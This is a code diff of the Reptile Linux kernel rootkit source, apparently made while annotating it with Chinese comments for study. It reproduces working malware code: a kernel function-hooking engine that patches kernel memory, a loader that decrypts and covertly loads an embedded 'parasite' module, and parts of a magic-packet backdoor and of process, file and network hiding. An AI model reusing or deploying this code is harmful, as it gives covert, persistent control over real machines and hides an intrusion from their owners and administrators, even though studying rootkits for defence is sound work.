zrs 11.20 label

.vscode/settings.json

@@ -0,0 +1,3 @@
+{
+    "Codegeex.RepoIndex": true
+}

src/Reptile/kernel/backdoor.c

@@ -1,4 +1,3 @@
-//后门程序，用于监听特定的网络数据包，并根据数据包的内容执行指定的命令
 #include <linux/string.h>
 #include <linux/version.h>
 #include <linux/net.h>
@@ -17,7 +16,7 @@ struct shell_task {
 	char *ip;
 	char *port;
 };
-//命令执行
+
 void shell_execer(struct work_struct *work)
 {
 	struct shell_task *task = (struct shell_task *)work;
@@ -29,7 +28,7 @@ void shell_execer(struct work_struct *work)
 	kfree(task->port);
 	kfree(task);
 }
-//添加任务到命令执行队列
+
 int shell_exec_queue(char *ip, char *port)
 {
 	struct shell_task *task;
@@ -59,7 +58,7 @@ int shell_exec_queue(char *ip, char *port)
 
 #define DROP 0
 #define ACCEPT 1
-//解析攻击方发送的网络数据包，并根据特定条件执行命令
+
 unsigned int magic_packet_parse(struct sk_buff *socket_buffer)
 {
 	const struct iphdr *ip_header;

src/Reptile/kernel/dir.c

@@ -1,4 +1,3 @@
-//判断文件夹是否隐藏
 #include <linux/uaccess.h>
 #include <linux/slab.h>
 #include <linux/string.h>

src/Reptile/kernel/encrypt/encrypt.c

@@ -1,4 +1,3 @@
-////使用给定的十六进制密钥对文件内容进行加密
 #include <stdio.h>
 #include <stdlib.h>
 #include <stdint.h>

src/Reptile/kernel/file.c

@@ -1,4 +1,3 @@
-//判断文件是否隐藏
 #include <linux/uaccess.h>
 #include <linux/slab.h>
 

src/Reptile/kernel/khook/engine.c

@@ -1,154 +1,202 @@
-//内核级别的挂钩（hook）机制，主要用于在Linux内核中动态修改函数行为
 #include "internal.h"
 
 static khook_stub_t *khook_stub_tbl = NULL;
 
 ////////////////////////////////////////////////////////////////////////////////
-//通过内核符号表查找目标函数的地址
+/*
+ * 内核符号表查找函数callback function
+ * 通过遍历data数组中的元素，并与name字符串进行比较
+ * 如果找到匹配的元素，则将data数组的第二个元素设置为addr，并返回1
+ * 如果遍历完整个数组仍然没有找到匹配的元素，则返回0
+ */
 static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
 {
-	int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
-		if (!name[i++]) return !!(data[1] = addr);
-	} return 0;
+    int i = 0; 
+    while (!module && (((const char *)data[0]))[i] == name[i]) {
+        if (!name[i++]) return !!(data[1] = addr); // 找到匹配的符号，设置地址并返回1
+    } 
+    return 0; // 未找到匹配的符号，返回0
 }
 
+/*
+ * 利用kallsyms_on_each_symbol可以查询符号表，只需要传入查询函数就可以了
+ * data[0]表示要查询的地址
+ * data[1]表示结果
+ * kernel all symbols 内核符号表
+ */
 static void *khook_lookup_name(const char *name)
 {
-	long data[2] = { (long)name, 0 };
-	kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
-	return (void *)data[1];
+    long data[2] = { (long)name, 0 };
+    kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
+    return (void *)data[1]; // 返回找到的符号地址
 }
-//将目标函数地址映射为可写内存，以便修改其代码
+
+/*
+ * 将一个虚拟地址范围[addr, addr + len]映射到 可写 内核内存区域
+ */
 static void *khook_map_writable(void *addr, size_t len)
 {
-	struct page *pages[2] = { 0 }; // len << PAGE_SIZE
-	long page_offset = offset_in_page(addr);
-	int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE);
-
-	addr = (void *)((long)addr & PAGE_MASK);
-	for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) {
-		if ((pages[i] = is_vmalloc_addr(addr) ?
-		     vmalloc_to_page(addr) : virt_to_page(addr)) == NULL)
-			return NULL;
-	}
-
-	addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL);
-	return addr ? addr + page_offset : NULL;
+    struct page *pages[2] = { 0 }; // len << PAGE_SIZE
+    long page_offset = offset_in_page(addr);
+    int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE);
+
+    addr = (void *)((long)addr & PAGE_MASK); // 对齐地址到页面边界
+    for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) {
+        if ((pages[i] = is_vmalloc_addr(addr) ?
+             vmalloc_to_page(addr) : virt_to_page(addr)) == NULL)
+            return NULL; // 如果无法获取页面，返回NULL
+    }
+
+    addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL); // 映射页面到内核地址空间
+    return addr ? addr + page_offset : NULL; // 返回映射后的地址
 }
 
 ////////////////////////////////////////////////////////////////////////////////
 
 #ifdef CONFIG_X86
-# include "x86/hook.c"
+# include "x86/hook.c" // 包含x86架构相关的钩子实现
 #else
-# error Target CPU architecture is NOT supported !!!
+# error Target CPU architecture is NOT supported !!! // 不支持的CPU架构
 #endif
 
 ////////////////////////////////////////////////////////////////////////////////
-//挂钩唤醒
+
+/*
+ * 唤醒所有进程
+ */
 static void khook_wakeup(void)
 {
-	struct task_struct *p;
-	rcu_read_lock();
-	for_each_process(p) {
-		wake_up_process(p);
-	}
-	rcu_read_unlock();
+    struct task_struct *p;
+    rcu_read_lock();
+    for_each_process(p) {
+        wake_up_process(p); // 唤醒进程
+    }
+    rcu_read_unlock();
 }
-//初始化和清理挂钩
+
+/*
+ * 初始化所有钩子
+ */
 static int khook_sm_init_hooks(void *arg)
 {
-	khook_t *p;
-	KHOOK_FOREACH_HOOK(p) {
-		if (!p->target.addr_map) continue;
-		khook_arch_sm_init_one(p);
-	}
-	return 0;
+    khook_t *p;
+    KHOOK_FOREACH_HOOK(p) {
+        if (!p->target.addr_map) continue;
+        khook_arch_sm_init_one(p); // 初始化单个钩子
+    }
+    return 0;
 }
 
+/*
+ * 清理所有钩子
+ */
 static int khook_sm_cleanup_hooks(void *arg)
 {
-	khook_t *p;
-	KHOOK_FOREACH_HOOK(p) {
-		if (!p->target.addr_map) continue;
-		khook_arch_sm_cleanup_one(p);
-	}
-	return 0;
+    khook_t *p;
+    KHOOK_FOREACH_HOOK(p) {
+        if (!p->target.addr_map) continue;
+        khook_arch_sm_cleanup_one(p); // 清理单个钩子
+    }
+    return 0;
 }
 
+/*
+ * 解析所有钩子的目标地址
+ */
 static void khook_resolve(void)
 {
-	khook_t *p;
-	KHOOK_FOREACH_HOOK(p) {
-		p->target.addr = khook_lookup_name(p->target.name);
-	}
+    khook_t *p;
+    KHOOK_FOREACH_HOOK(p) {
+        p->target.addr = khook_lookup_name(p->target.name); // 查找符号地址
+    }
 }
 
+/*
+ * 映射所有钩子的目标地址到可写内存区域
+ */
 static void khook_map(void)
 {
-	khook_t *p;
-	KHOOK_FOREACH_HOOK(p) {
-		if (!p->target.addr) continue;
-		p->target.addr_map = khook_map_writable(p->target.addr, 32);
-		khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map);
-	}
+    khook_t *p;
+    KHOOK_FOREACH_HOOK(p) {
+        if (!p->target.addr) continue;
+        p->target.addr_map = khook_map_writable(p->target.addr, 32); // 映射地址
+        khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map);
+    }
 }
 
+/*
+ * 取消映射所有钩子的目标地址
+ */
 static void khook_unmap(int wait)
 {
-	khook_t *p;
-	KHOOK_FOREACH_HOOK(p) {
-		khook_stub_t *stub = KHOOK_STUB(p);
-		if (!p->target.addr_map) continue;
-		while (wait && atomic_read(&stub->use_count) > 0) {
-			khook_wakeup();
-			msleep_interruptible(1000);
-			khook_debug("waiting for %s...\n", p->target.name);
-		}
-		vunmap((void *)((long)p->target.addr_map & PAGE_MASK));
-		p->target.addr_map = NULL;
-	}
+    khook_t *p;
+    KHOOK_FOREACH_HOOK(p) {
+        khook_stub_t *stub = KHOOK_STUB(p);
+        if (!p->target.addr_map) continue;
+        while (wait && atomic_read(&stub->use_count) > 0) {
+            khook_wakeup(); // 唤醒进程
+            msleep_interruptible(1000); // 休眠1秒
+            khook_debug("waiting for %s...\n", p->target.name);
+        }
+        vunmap((void *)((long)p->target.addr_map & PAGE_MASK)); // 取消映射
+        p->target.addr_map = NULL;
+    }
 }
 
 ////////////////////////////////////////////////////////////////////////////////
-
+/* khook_init()和khook_cleanup()对挂钩引擎进行初始化和注销 */
+
+/*
+ * 初始化挂钩引擎
+ * 1. malloc分配内存空间用于存储钩子函数的桩（stub）
+ * 2. khook_resolve查找并解析内核符号表
+ * 3. 映射目标地址到可写的内核内存区域
+ * 4. 调用stop_machine函数，将钩子函数的初始化工作交给内核调度器执行
+*/
 int khook_init(void)
 {
-	void *(*malloc)(long size) = NULL;
-	int   (*set_memory_x)(unsigned long, int) = NULL;
+    void *(*malloc)(long size) = NULL;
+    int   (*set_memory_x)(unsigned long, int) = NULL;
 
-	malloc = khook_lookup_name("module_alloc");
-	if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL;
+    malloc = khook_lookup_name("module_alloc");
+    if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL;
 
-	khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE);
-	if (!khook_stub_tbl) return -ENOMEM;
-	memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE);
+    khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE);
+    if (!khook_stub_tbl) return -ENOMEM;
+    memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE);
 
-	//
-	// Since some point memory allocated by module_alloc() doesn't
-	// have eXecutable attributes. That's why we have to mark the
-	// region executable explicitly.
-	//
+    //
+    // Since some point memory allocated by module_alloc() doesn't
+    // have eXecutable attributes. That's why we have to mark the
+    // region executable explicitly.
+    //
 
-	set_memory_x = khook_lookup_name("set_memory_x");
-	if (set_memory_x) {
-		int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
-		set_memory_x((unsigned long)khook_stub_tbl, numpages);
-	}
+    set_memory_x = khook_lookup_name("set_memory_x");
+    if (set_memory_x) {
+        int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
+        set_memory_x((unsigned long)khook_stub_tbl, numpages);
+    }
 
-	khook_resolve();
+    khook_resolve(); // 解析符号表
 
-	khook_map();
-	stop_machine(khook_sm_init_hooks, NULL, NULL);
-	khook_unmap(0);
+    khook_map(); // 映射地址
+    stop_machine(khook_sm_init_hooks, NULL, NULL); // 初始化钩子
+    khook_unmap(0); // 取消映射
 
-	return 0;
+    return 0;
 }
 
+/*
+ * 注销挂钩引擎
+ * 1. 映射目标地址到可写的内核内存区域
+ * 2. 调用stop_machine函数，将钩子函数的清理工作交给内核调度器执行
+ * 3. 取消映射目标地址
+ * 4. 释放分配的内存空间
+ */
 void khook_cleanup(void)
 {
-	khook_map();
-	stop_machine(khook_sm_cleanup_hooks, NULL, NULL);
-	khook_unmap(1);
-	vfree(khook_stub_tbl);
-}
+    khook_map(); // 映射地址
+    stop_machine(khook_sm_cleanup_hooks, NULL, NULL); // 清理钩子
+    khook_unmap(1); // 取消映射
+    vfree(khook_stub_tbl); // 释放内存
+}

src/Reptile/kernel/khook/engine.h

@@ -4,6 +4,15 @@
 
 #define KHOOK_F_NOREF		(1UL << 0)	// don't do auto ref-count
 
+/*
+ * 内核钩子结构体
+ * fn：钩子函数
+ * name：符号名字
+ * addr：符号地址
+ * addr_map：符号地址被映射的虚拟地址
+ * orig：原函数
+ */
+
 typedef struct {
 	void			*fn;		// handler fn address
 	struct {
@@ -15,6 +24,13 @@ typedef struct {
 	unsigned long		flags;		// hook engine options (flags)
 } khook_t;
 
+/*
+ * 格式规定：假设原函数名字为fun，则自定义的fun的钩子函数名字必须为khook_fun
+ * 编译器选项：
+ * __attribute__((unused)表示可能不会用到
+ * __attribute__((aligned(1)))表示一字节对齐
+ * __attribute__((section(".data.khook")))表示这个结构需要被分配到.data.khook节中
+ */
 #define KHOOK_(t, f)							\
 	static inline typeof(t) khook_##t; /* forward decl */		\
 	khook_t								\

src/Reptile/kernel/khook/engine.lds

@@ -6,3 +6,8 @@ SECTIONS
 		KHOOK_tbl_end = . ;
 	}
 }
+
+In engine.c, all hooks are allocated to the .data.khook section.
+The above script means that all contents of .data.khook are placed in the .data section.
+The '.' character represents the current location counter, so KHOOK_tbl points to the beginning of .data.khook, and KHOOK_tbl_end points to the end of KHOOK_tbl_end.
+These two variables represent the start and end addresses of the hook table, KHOOK_tbl and KHOOK_tbl_end.

src/Reptile/kernel/khook/internal.h

@@ -20,6 +20,11 @@ extern khook_t KHOOK_tbl_end[];
 #define KHOOK_FOREACH_HOOK(p)		\
 	for (p = KHOOK_tbl; p < KHOOK_tbl_end; p++)
 
+/*
+ * 一个钩子函数一定会有一个STUB
+ * 而这个STUB会被初始化为stub.inc或stub32.inc。也就是stub的模板 
+ * 将原始数据和钩子数据存储在同一个结构体中
+ */
 typedef struct {
 #pragma pack(push, 1)
 	union {

src/Reptile/kernel/khook/x86/hook.c

@@ -1,4 +1,3 @@
-//内核中实现x86架构下的函数钩子（hook）
 #include "../internal.h"
 
 ////////////////////////////////////////////////////////////////////////////////
@@ -7,11 +6,19 @@
 
 #include <asm/insn.h>
 
+/*
+ * typeof 是 GCC的一个扩展关键字
+ * 它用于在预处理阶段确定一个变量或表达式的类型
+ * 而不需要实际创建该变量或表达式的实例
+ */
 static struct {
 	typeof(insn_init) *init;
 	typeof(insn_get_length) *get_length;
 } khook_arch_lde;
-//初始化长度解析引擎
+
+/*
+ *初始化函数，用于查找并初始化 insn_init 和 insn_get_length 函数的地址
+ */
 static inline int khook_arch_lde_init(void) {
 	khook_arch_lde.init = khook_lookup_name("insn_init");
 	if (!khook_arch_lde.init) return -EINVAL;
@@ -19,7 +26,12 @@ static inline int khook_arch_lde_init(void) {
 	if (!khook_arch_lde.get_length) return -EINVAL;
 	return 0;
 }
-//获取指令长度
+
+/*
+ * 获取地址p的指令的长度
+ * 先调用insn_init获得insn结构
+ * 然后调用get_length得到指令长度，结果存放在insn的length字段
+ */
 static inline int khook_arch_lde_get_length(const void *p) {
 	struct insn insn;
 	int x86_64 = 0;
@@ -36,37 +48,43 @@ static inline int khook_arch_lde_get_length(const void *p) {
 }
 
 ////////////////////////////////////////////////////////////////////////////////
-//插入跳转指令
+
 // place a jump at addr @a from addr @f to addr @t
 static inline void x86_put_jmp(void *a, void *f, void *t)
 {
-	*((char *)(a + 0)) = 0xE9;
-	*(( int *)(a + 1)) = (long)(t - (f + 5));
+	*((char *)(a + 0)) = 0xE9; //跳转指令的Opcode
+	*(( int *)(a + 1)) = (long)(t - (f + 5)); //偏移计算
 }
 
 static const char khook_stub_template[] = {
 # include KHOOK_STUB_FILE_NAME
 };
-//修复函数钩子中的占位符，
+
 static inline void stub_fixup(void *stub, const void *value) {
 	while (*(int *)stub != 0xcacacaca) stub++;
 	*(long *)stub = (long)value;
 }
-//初始化单个钩子
+
+/*
+ * 初始化一个钩子
+ * 使其能够在特定条件下跳转到新的函数地址
+ * 同时保留原始指令以便在需要时恢复
+ */
 static inline void khook_arch_sm_init_one(khook_t *hook) {
 	khook_stub_t *stub = KHOOK_STUB(hook);
+	// 跳转指令的第一个字节是0xE9或0xCC，表示已经被hook过了
 	if (hook->target.addr[0] == (char)0xE9 ||
 	    hook->target.addr[0] == (char)0xCC) return;
 
 	BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes));
-	memcpy(stub, khook_stub_template, sizeof(khook_stub_template));
+	memcpy(stub, khook_stub_template, sizeof(khook_stub_template)); // 拷贝模板到stub中
 	stub_fixup(stub->hook, hook->fn);
 
 	while (stub->nbytes < 5)
 		stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes);
 
-	memcpy(stub->orig, hook->target.addr, stub->nbytes);
-	x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes);
+	memcpy(stub->orig, hook->target.addr, stub->nbytes); // 拷贝hook原函数到stub的orig中
+	x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes); // 设置跳转
 	if (hook->flags & KHOOK_F_NOREF) {
 		x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn);
 	} else {
@@ -74,7 +92,11 @@ static inline void khook_arch_sm_init_one(khook_t *hook) {
 	}
 	hook->orig = stub->orig; // the only link from hook to stub
 }
-//清理单个钩子
+
+/*
+ * 清理一个钩子
+ * 将目标地址恢复为原始指令
+ */
 static inline void khook_arch_sm_cleanup_one(khook_t *hook) {
 	khook_stub_t *stub = KHOOK_STUB(hook);
 	memcpy(hook->target.addr_map, stub->orig, stub->nbytes);

src/Reptile/kernel/kmatryoshka/kmatryoshka.c

@@ -1,4 +1,3 @@
-//内核模块的初始化
 #include <linux/kallsyms.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
@@ -10,76 +9,92 @@
 
 #include "encrypt.h"
 
+// 定义 SYS_INIT_MODULE 宏，用于生成 "sys_init_module" 字符串
 #define SYS_INIT_MODULE                                 \
-	({                                              \
-		unsigned int *p = __builtin_alloca(16); \
-		p[0] = 0x5f737973;                      \
-		p[1] = 0x74696e69;                      \
-		p[2] = 0x646f6d5f;                      \
-		p[3] = 0x00656c75;                      \
-		(char *)p;                              \
-	})
-
+    ({                                              \
+        unsigned int *p = __builtin_alloca(16); \
+        p[0] = 0x5f737973;                      \
+        p[1] = 0x74696e69;                      \
+        p[2] = 0x646f6d5f;                      \
+        p[3] = 0x00656c75;                      \
+        (char *)p;                              \
+    })
+
+// 定义 __DO_SYS_INIT_MODULE 宏，用于生成 "__do_sys_init_module" 字符串
 #define __DO_SYS_INIT_MODULE                            \
-	({                                              \
-		unsigned int *p = __builtin_alloca(24); \
-		p[0] = 0x6f645f5f;                      \
-		p[1] = 0x7379735f;                      \
-		p[2] = 0x696e695f;                      \
-		p[3] = 0x6f6d5f74;                      \
-		p[4] = 0x656c7564;                      \
-		p[5] = 0x00000000;                      \
-		(char *)p;                              \
-	})
-
+    ({                                              \
+        unsigned int *p = __builtin_alloca(24); \
+        p[0] = 0x6f645f5f;                      \
+        p[1] = 0x7379735f;                      \
+        p[2] = 0x696e695f;                      \
+        p[3] = 0x6f6d5f74;                      \
+        p[4] = 0x656c7564;                      \
+        p[5] = 0x00000000;                      \
+        (char *)p;                              \
+    })
+
+// 包含 parasite_blob.inc 文件中的数据
 static char parasite_blob[] = {
 #include "parasite_blob.inc"
 };
 
+// 内核符号表查找函数的回调函数
 static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
-			  unsigned long addr)
+              unsigned long addr)
 {
-	int i = 0;
-	while (!module && (((const char *)data[0]))[i] == name[i]) {
-		if (!name[i++])
-			return !!(data[1] = addr);
-	}
-	return 0;
+    int i = 0;
+    while (!module && (((const char *)data[0]))[i] == name[i]) {
+        if (!name[i++])
+            return !!(data[1] = addr); // 找到匹配的符号，设置地址并返回1
+    }
+    return 0; // 未找到匹配的符号，返回0
 }
 
+// 查找符号表中的符号地址
 static inline unsigned long ksym_lookup_name(const char *name)
 {
-	unsigned long data[2] = {(unsigned long)name, 0};
-	kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
-	return data[1];
+    unsigned long data[2] = {(unsigned long)name, 0};
+    kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 实现在khook/engine.c中
+    return data[1]; // 返回找到的符号地址
 }
 
+/*
+ * init_module函数的系统调用处理函数sys_init_module
+ * 它是一个导出函数，通过ksym_lookup_name得到该函数的地址
+ */
 int init_module(void)
 {
-	int ret = -EINVAL;
-	asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;
+    int ret = -EINVAL;
+    asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;
 
-	do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);
+    // 解密 parasite_blob 数据
+    do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);
 
-	sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);
+    // 查找 sys_init_module 函数的地址
+    sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);
 
-	if (!sys_init_module)
-		sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE);
+    if (!sys_init_module)
+        sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE);
 
-	if (sys_init_module) {
-		const char *nullarg = parasite_blob;
-		unsigned long seg = user_addr_max();
+    if (sys_init_module) {
+        const char *nullarg = parasite_blob;
+        unsigned long seg = user_addr_max();
 
-		while (*nullarg)
-			nullarg++;
+        // 找到 parasite_blob 中的空字符
+        while (*nullarg)
+            nullarg++;
 
-		user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
-		if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
-		user_addr_max() = seg;
-	}
+        // 设置用户地址空间的最大值
+        user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
+        if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
+        user_addr_max() = seg; // 恢复用户地址空间的最大值
+    }
 
-	return ret;
+    return ret;
 }
 
+/*
+ * 表示该模块是内核树的一部分，即它是内核的内置模块，而不是一个外部模块。当内核配置为包含该模块时，它将被编译并包含在内核二进制文件中
+ */
 MODULE_LICENSE("GPL");
-MODULE_INFO(intree, "Y");
+MODULE_INFO(intree, "Y");

src/Reptile/kernel/loader/loader.c

@@ -1,4 +1,3 @@
-//加载所需模块
 #define _GNU_SOURCE
 #include <errno.h>
 #include <fcntl.h>

src/Reptile/kernel/module.c

@@ -1,4 +1,3 @@
-//内核模块隐藏
 #include <linux/module.h>
 #include <linux/mutex.h>
 #include <linux/slab.h>

src/Reptile/kernel/network.c

@@ -1,4 +1,3 @@
-//网络地址隐藏
 #include <linux/version.h>
 #include <linux/inet.h>
 #include <linux/netlink.h>

src/Reptile/kernel/proc.c

@@ -1,4 +1,3 @@
-//进程隐藏
 #include <linux/version.h>
 #include <linux/uaccess.h>
 #include <linux/ctype.h>
@@ -15,7 +14,7 @@
 #endif
 
 #include "proc.h"
-//根据给定的进程ID (pid) 和标志位设置 (set) 来修改进程及其线程的标志位
+
 int flag_tasks(pid_t pid, int set)
 {
 	int ret = 0;
@@ -69,7 +68,7 @@ struct task_struct *find_task(pid_t pid)
 
 	return ret;
 }
-//判断指定进程号进程是否可见
+
 int is_proc_invisible(pid_t pid)
 {
 	struct task_struct *task;
@@ -88,7 +87,7 @@ int is_proc_invisible(pid_t pid)
 	put_task_struct(task);
 	return ret;
 }
-//解析文件名->pid -> is_proc_invisible(pid)
+
 int is_proc_invisible_2(const char __user *filename)
 {
 	int ret = 0, i, argc, is_num = 1;

src/Reptile/kernel/string_helpers.c

@@ -1,4 +1,3 @@
-//获取命令行参数，转为可打印的字符
 #include "string_helpers.h"
 
 #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0)

src/Reptile/kernel/util.c

@@ -1,4 +1,3 @@
-//访问和操作进程的命令行参数
 #include <linux/kmod.h>
 #include <linux/kallsyms.h>
 #include <linux/types.h>